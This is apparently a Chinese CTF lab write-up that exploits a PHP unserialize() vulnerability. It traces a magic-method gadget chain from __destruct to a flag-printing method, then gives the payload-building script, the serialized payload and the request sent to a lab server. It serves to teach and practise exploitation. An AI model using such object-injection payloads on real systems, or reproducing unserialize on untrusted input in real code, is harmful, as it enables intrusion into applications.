class start_gg {
public $mod1;
public $mod2;
public function __destruct() {
$this->mod1->test1();
}
}
class Call {
public $mod1;
public $mod2;
public function test1() {
$this->mod1->test2();
}
}
class funct {
public $mod1;
public $mod2;
public function __call($test2,$arr) {
$s1 = $this->mod1;
$s1();
}
}
class func {
public $mod1;
public $mod2;
public function __invoke() {
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1 {
public $str1;
public $str2;
public function __toString() {
$this->str1->get_flag();
return "1";
}
}
class GetFlag {
public function get_flag() {
echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";
}
}
$a = $_GET['string'];
unserialize($a);
?>
夺旗我们可以从调用链的终点开始分析.
我们看到flag
是在GetFlag
类的get_flag()
方法获取, 那么查找哪个类可以调用到 get_flag()
, 找到 string1 类.
string1
中调用了 __toString()
方法, 那么查找哪个类可以调用到 __toString()
方法, 看到 func
类中使用 mod1
做了字符串拼接, 那么定位到 func 类.
func
中调用了__invoke()
方法, 那么查找哪个类里面有用函数形式调用对象的代码, 看到funct
类中使用 s1()
的形式调用, 那么让mod1
作为一个对象即可, 定位到funct
类.
funct
中使用了__call()
方法, 那么查找哪个类里面调用了不存在的方法, 看到 Call
类中调用了不存在的方法test2()
, 所以定位到 Call
类.
Call
类中调用了 test1()
方法, 这不是一个魔术方法, 那么我们查看一下哪个类中直接调用了 test1()
这个方法, 看到在 start_gg
类中直接调用了test1()
方法, 那么定位到 start_gg
类.
到此为止所有的类已经被我们串联了起来, 以 GetFlag
为终点, start_gg
为起点形成调用链.
根据我们分析的调用链顺序逐步实例化对象, 注意实例化哪个对象和它赋值给哪个属性, 搞错任何一个位置调用链就会失败.
class GetFlag {
public function get_flag() {
echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";
}
}
class string1 {
public $str1;
public $str2;
public function __construct(){
$this->str1 = new GetFlag();
}
}
class func {
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new string1();
}
}
class funct {
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new func();
}
}
class Call {
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new funct();
}
}
class start_gg {
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new Call();
}
}
echo serialize(new start_gg()); // 序列化对象, 得到字符串
?>
执行结果:
O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
根据题目源码的参数, 提交GET请求:
http://192.168.112.200/security/unserial/ustest.php
?string=O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
执行结果:
flag:59DB9139E685F7D6A4A8784F9221066F